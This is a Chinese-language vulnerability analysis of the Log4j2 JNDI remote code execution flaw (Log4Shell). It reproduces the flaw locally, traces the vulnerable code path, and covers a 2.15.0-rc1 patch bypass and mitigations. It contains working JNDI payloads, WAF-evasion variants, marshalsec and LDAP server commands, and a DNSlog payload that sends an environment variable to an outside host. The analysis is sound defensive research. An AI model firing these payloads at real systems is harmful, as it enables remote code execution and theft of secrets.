|
原文链接:【创宇小课堂】代码审计-log4j2_rce分析
前言
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。
2021年12月9日晚,各大公众号突然发布漏洞预警
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。(CNVD-2021-95914、CVE-2021-44228)
影响版本:Apache Log4j 2.x <= 2.15.0-rc1
2.15.0-rc1 存在补丁绕过,但是很鸡肋
复现
老规矩,先复现,再分析
pom.xml
<!-- https://mvnrepository.com/artifa ... ng.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifa ... ing.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
启动JNDI注入Server
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1
漏洞代码import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test {
private static final Logger logger = LogManager.getLogger(Test.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}");
}
}
效果 
 
分析
调用栈在利用过程中,因为我们明确知道要执行系统命令调用java.lang.Runtime#exec(java.lang.String[]),所以在exec方法处下断点,分析一下调用栈
 
运行获取调用栈
 
exec:485, Runtime (java.lang)
<init>:-1, ExploitgJlWqLWBF3
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:9, Test
最明显的漏洞触发点,就是在第16行lookup:172, JndiManager (org.apache.logging.log4j.core.net)
跟过去看下,典型的JNDI注入
 
Debug分析既然已经知道调用栈了,那么就可以慢慢分析了
从logger.error为入口,跟进去后会前期有一系列的和我们分析无关的过程,主要就是各种常规包装和调用
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:9, Test
然后一直到了
org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder),这个的主要功能就是通过遍历formatters一段一段的拼接输出的内容
 
 
当到了格式化我们传入的内容的时候,同样的会进行format处理,跟进发现会调用converter.format(),converter属于MessagePatternConverter类
 


所以就到了
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
分析代码,可以看到,如果写入的日志内容中包含${,就会将我们输入的内容从workingBuilder分割出来,赋值给value,然后调用config.getStrSubstitutor().replace()方法
 
跟进replace(),会调用substitute()方法
在org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder, int, int, java.util.List<java.lang.String>)方法中,会首先遍历字符,通过正则判断,获取${和}的位置,最后截取出${和}中间的内容,得到jndi:xxxx
 
然后再次递归调用substitute(),继续截取${}中的内容,主要是为了判断是否还有${},后续还有分隔符的判断,就先不管了
一直跟到解析变量这,跟进这个函数
 
可以猜测resolver解析时支持的关键词有[date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j],而我们这里利用的jndi:xxx后续就会用到JndiLookup这个解析器

跟进lookup,就是通过:分割前面的关键词jndi部分和后面的payload内容部分,再获取解析器,通过解析器去lookup
 
继续跟进org.apache.logging.log4j.core.lookup.JndiLookup#lookup,会初始化JNDI客户端,继续调用lookup
 
再跟进就是非常常规的JNDI注入点了,分析也到此结束

总结
总结一下整个分析过程,也很简单
- 先判断内容中是否有${},然后截取${}中的内容,得到我们的恶意payload jndi:xxx
- 后使用:分割payload,通过前缀来判断使用何种解析器去lookup
- 支持的前缀包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,可以研究下其他的,说不定有文章可做
一个小坑网上有各种百度、icloud等大厂商被打的情况,但是最开始一直认为只有logger.error()才会触发,所以百思不得其解,难道用户搜索的所有内容都会被百度用logger.error()记录下来?很明显这是不可能的啊!!!
 
后面研究了半天,忽略了第一句话
此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。
只要输入会被记录,就存在这个问题;什么情况下会记录呢?主要代码还是在
 
一直跟到最后,intLevel >= level.intLevel()为false,intLevel为我们使用的INFO等级的值200,level.intLevel()则为当前日志记录等级ERROR的值400
 
这也是为什么log4j默认情况下只会记录error和fatal的日志,如下图,所以我们测试的时候只有logger.error和fatal的时候才会触发。
 
因此其他日志等级也不是不能触发,修改一下日志记录等级,让它能够记录下来我们输入的payload,就可以触发漏洞了
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.Configurator;
public class Test {
private static Logger logger = LogManager.getLogger(Test.class);
public static void main(String[] args) {
// 第一个参数 "Test" 为类名
Configurator.setLevel("Test", Level.INFO);
logger.info("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}");
}
}
 
常规绕过
现在很多WAF都是检测是否存在jndi:等关键词来判断,这个很明显拦得了一时,拦不了一世啊!!!
通过上面的分析,我们也看到了有很多其他的解析器可用,包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,还有分隔符啥的,结合起来可以绕过大多数常见的WAF了。
多个${}执行流程先来分析一下多个${}的执行流程,Payload举例如下:
${aaa {bbb:ccc}dd}${ee:ff}
当识别到多个${}时,准备来说是识别到多个${时,主要分为两种情况:
- 当属于嵌套类型时,比如${${}},参数nestedVarCount会执行+1操作,表示存在嵌套,防止找错闭合时用的},会先处理内部的${},再将处理结果返回后继续处理${} ;具体的原因,就是因为会递归调用substitute(),所以会先把内部的处理完
 
2.当属于并列类型时,比如${}${},会依次处理${};因为他一次只会提取一整个${}
分隔符org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute()里处理完${}后,就会有一部分的分隔符处理,一个是valueEscapeDelimiterMatcher [:\-],另一个是valueDelimiterMatcher [:-]
先来看第一个valueEscapeDelimiterMatcher,payload ${aa:\\-bb}
从下图可以看出来,就是给 :\- 中的 \ 去掉了变成了:-,好像是没啥用

再来看看valueDelimiterMatcher,payload ${aa:-bb}
从下面可以看出来,被:-分割成了前后两部分,前面的部分赋值给varName,后面部分赋值给varDefaultValue;

- varName会被传入到resolveVariable()进行解析,如果没有协议什么的,就会返回null
- 如果resolveVariable()返回值为null,varDefaultValue在后续的过程中也会递归调用substitute

最后会返回varDefaultValue的值
 
其他解析器功效上面分析我们也注意到了,有多个解析协议可用,包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,我们来分析一下作用
可以下断点到org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable的resolver.lookup(event, variableName)这一行,然后动态执行看效果;比如
 
解析协议
说明
date:
日期时间(详情org.apache.logging.log4j.core.lookup.DateLookup#lookup)
java:
一些JVM的信息(可用参数version、runtime、vm、os、hw、locale,详情org.apache.logging.log4j.core.lookup.JavaLookup#lookup)
marker:
返回event.getMarker(),不知道具体干啥的
ctx:key
返回event.getContextData().getValue(key),就是获取上下文的数据
lower:KEY
返回字符串小写值
upper:key
返回字符串大写值
jndi:
JNDI注入利用点,不多说了
main:key
返回((MapMessage) event.getMessage()).get(key),也是获取一些变量值
jvmrunargs:
没搞懂。。。
sys:key
返回一些系统属性:System.getProperty(key)
env:key
返回System.getenv(key)
log4j:key
返回一些log4j的配置信息,可用值configLocation、configParentLocation
绕过思路我们已经知道了${}的执行流程,也知道了分隔符怎么处理的,又知道了其他协议的解析返回值,那么就可以构造payload来绕过了,举一些例子
${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${a:-j}ndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${a:-j}n${::-d}i:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${lower:jn}di:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${lower {upper:jn}}di:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${lower {upper:jn}}${::-di}:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
奇淫技巧刚才分析了其他解析器功效,通过sys和env协议,结合jndi可以读取到一些环境变量和系统变量,特定情况下可能可以读取到系统密码
举个例子
${jndi:ldap://${env OGNAME}.eynz6t.dnslog.cn}
 
2.15.0-rc1补丁绕过LOG4J2-3201 Commit
和之前一样,直接来到org.apache.logging.log4j.core.layout.PatternLayout.PatternFormatterPatternSerializer#toSerializable;熟悉的遍历formatter拼接输出内容
 
到了拼接我们自定义内容的部分的时候,跟进会调用converter.format,可以看到这里的converter类已经变成了MessagePatternConverter.SimpleMessagePatternConverter,SimpleMessagePatternConverter是MessagePatternConverter的一个内部类


跟进,发现会调用((StringBuilderFormattable) msg).formatTo(toAppendTo)
 
再跟进formatTo,可以看出就是直接拼接字符串,并不会对包含有特殊内容${}的字符串进行处理
 
看着是没问题了,但是发现在MessagePatternConverter中还有一个内部类LookupMessagePatternConverter,这个类会对${的内容进行特殊处理。

但是怎么样才能让converter的类变成LookupMessagePatternConverter,而不是SimpleMessagePatternConverter呢?
在newInstance这个初始化配置函数的地方下个断点,发现必须要满足2个条件,才能使用LookupMessagePatternConverter这个converter类
 
所以这也是补丁绕过比较鸡肋的地方,需要自己手动修改配置,正常人会故意这么写吗?
为了分析绕过,我们只能手动配置了。。。
分析上面需要满足的2个条件:
- lookups为true,lookups的值是通过loadLookups(options)这个函数来获得的,分析一下这个函数,只要options这个字符串数组包含lookups即可
-
 
- 需要一个config的实例,属于org.apache.logging.log4j.core.config.DefaultConfiguration这个类,默认不为null
尝试了各种方法修改配置都不行
log4j2.formatMsgNoLookups=false
log4j2.formatMsgLookups=true
所以采用了一个暴力的方法,就是在调试的时候动态修改options变量的值
options = new String[]{"lookups"}
 
可以看到,我们修改过后,再次来到converter.format(event, buf),此时converter属于MessagePatternConverter.LookupMessagePatternConverter类了,目标达成
 
跟进也是我们想要的结果,对${进行定位判断

跟进replaceIn,就又到了常规的substitute了,接下来几步就不再次分析了

上面这么多都是解决配置问题,让它使用到我们想要的converter类
后面都是和之前类似差不多的,一直到了org.apache.logging.log4j.core.net.JndiManager#lookup,可以看出来加了很大一串try...catch...对我们的payload进行判断,一有不对劲的地方就return null
 
还是分析一下各个限制
变量
值
allowedProtocols
[java, ldap, ldaps]
allowedHosts
[localhost, 127.0.0.1, d4m1tsdeMacBook-Pro.local, fe80:0:0:0:511a:1574:bca8:fa1b%utun3, fe80:0:0:0:5f4b:9388:9617:a34f%utun2, fe80:0:0:0:da80:893a:2c2b:22c9%utun1, fe80:0:0:0:4936:2ec2:ac06:59d0%utun0, fe80:0:0:0:b853:76ff:fec8:ca3a%llw0, fe80:0:0:0:b853:76ff:fec8:ca3a%awdl0, fe80:0:0:0:aede:48ff:fe00:1122%en5, fe80:0:0:0:1421:ea1:4520:c8ab%en0, 192.168.0.106, fe80:0:0:0:0:0:0:1%lo0, 0:0:0:0:0:0:0:1]
allowedClasses
[java.lang.Boolean, java.lang.Byte, java.lang.Character, java.lang.Double, java.lang.Float, java.lang.Integer, java.lang.Long, java.lang.Short, java.lang.String]
看似无懈可击,但是却有一个很严重的问题
如果出现URISyntaxException异常,就会直接执行catch,然后就到了this.context.lookup(name),还是存在JNDI注入
所以我们现在的绕过想法,就是想办法让211行的URI uri = new URI(name);抛出URISyntaxException
分析一下这个报错,就可以发现触发的方式还是挺多的


也可以网上找找,比如:
 
试一下
 
所以绕过方法:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/ #Exploit" 8088
python3 -m http.server 8000
# 127.0.0.1 - - [12/Dec/2021 14:04:04] "GET /Exploit.class HTTP/1.1" 200 -
${jndi:ldap://127.0.0.1:8088/ Exploit}
 
结果,绕过成功
 
2.15.0-rc2修复Handle URI exception Commit
从github上提交的代码,可以看出给catch没有return null的问题修复了

暂时还没有好的绕过思路,所以先这样吧
影响范围srping-boot-strater-log4j2
Apache Solr
Apache Flink
Apache Druid
Apache Struts2
ElasticSearch
Flume
Dubbo
JedisLogstash
Kafka
...
更多参考:https://mvnrepository.com/artifa ... g4j-core/usages?p=1
 
修复建议
- 升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本
- 升级JDK版本,建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本,从根源上杜绝大部分的JNDI注入
临时措施
Log4j 2.15.0 需要Java 8,因此使用Java 7的企业需要先升级才能更新到 Log4j 的补丁版本。
2.10.0 及以上的版本
- 在jvm参数中添加 -Dlog4j2.formatMsgNoLookups=true
- 系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
- 创建log4j2.component.properties文件,文件中增加配置log4j2.formatMsgNoLookups=true
2.7 及以上的版本
- 在PatternLayout配置中使用%m{nolookups}
所有版本
- 限制受影响应用对外访问互联网
- 从log4j-core.jar文件中删除JndiLookup JndiManager classes
|
|